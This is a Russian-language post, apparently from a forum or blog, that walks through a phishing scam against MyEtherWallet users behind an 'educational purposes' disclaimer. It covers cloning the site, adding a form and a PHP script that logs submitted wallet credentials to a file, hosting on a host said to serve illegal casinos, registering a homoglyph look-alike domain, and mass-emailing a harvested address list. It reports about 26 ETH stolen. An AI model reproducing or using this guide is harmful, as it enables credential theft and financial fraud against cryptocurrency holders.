Всем салют, дорогие друзья! Сегодня мы рассмотрим банальный, но крайне рабочий, при должном подходе способ заработка, основанный на фишинге.
🔻
Обращаем ваше внимание на то, что статья написана исключительно в ознакомительных и образовательных целях и не является инструкцией к действию.
Погнали!
В чем суть?
Суть до боли проста - элементарный фишинг, но красиво, я бы даже сказал, образцово упакованный. Все гениальное - просто.
Работать будем с англо-язычной аудиторией, т.к. она не ищет везде подвох, ведь в отличии от наших людей их никто не пытается наебать на каждом шагу.
Мы достаточно продолжительный срок собирали базу email адресов пользователей сайта - myetherwallet.com.
Для тех, кто не в курсе - это кошелек для криптовалюты Ethereum.
*Напоминаем, что 1 Этер сегодня равняется 217,50$. Вспомнили - идем дальше!
- Суть будет заключаться в email рассылке по полученной нами базе данных пользователей.
- Письмо будет мотивировать пользователей перейти на сайт, который будет являться точной копией оригинального.
За дело!
Начнем с сайта.
Для начала нам необходимо создать точную копию оригинального сайта, для этого воспользуемся программой WinHTTrack WebSite Copier - (скачать).
Сложного ничего нет, вставляем адрес сайта и на выходе получаем папку сайта, открыть который можно нажав на файл index.htm.
Далее нам необходимо немного подредактировать html код, что бы данные, которые пользователь будет вводить на нашем клоне сохранялись в единый файл.
- Сделать это можно добавив следующий код:
<form method="post" action="rec.php">
<textarea rows="2" cols="20" name="1"> </textarea>
<input type="submit" value="Записать">
</form>
rec.php1
<?php
if ($_POST['1']);
$file=fopen('1.txt','a+');
fputs($file,$_POST['1']);
fclose($file);
echo 'форма';
?>
Как видите, сложного ничего нет.
Теперь немного измененный сайт необходимо залить на хостинг. Мы использовали blitz-host.com (не реклама). Именно на нем крутятся различные нелегальные казино и прочее. Но про свою анонимность все равно забывать не стоит!
Заливать сайт на хостинг мы будем через бесплатную программу FileZilla.
Расписывать процесс не имеет смысла, т.к. по запросу в гугле вам предоставят миллионы одних и тех же инструкций.
Теперь переходим к самому интересному - домену.
Для тех, кто не в курсе: доменное имя — символьное имя сайта, то самое, что вы вводите в адресной строке.
Домен необходимо регать максимально похожий на ориг.
В нашем случае оригинальный домен такой:
www.myetherwallet.com
Такой домен у нашего сайта:
www.myetherwaļlet.com
Заметили разницу?
Еще раз:
ОРИГИНАЛ
НАШ
Вся соль в не совсем обычной букве "L"
Приглядитесь на скрин с 10-и кратным увеличением:
Вместо обычной l была использована ļ
Вот такой вот маленький секрет, на который практически никто не обратит внимание :)
Сайт готов!
Письмо
Мы рассылали письмо следующего вида:
Естественно со ссылкой на сайт-копию.
Итого
спустя 5 часов после начала рассылки был проверен файл, в который записывались данные формы:
Некоторые кошельки оказались и вовсе пустыми, на некоторых были небольшие суммы (10-25$ в эквиваленте).
Но с двумя нам крупно подвезло:
9 (1960$) и 6 ETH (1306$) соответственно.
После того как мы помели по сусекам (прошлись по остальным кошелям) и собрали суммы гораздо поменьше, у нас вышел итог - 26,14 ETH, что приблизительно является 5700$ или 360.000 руб.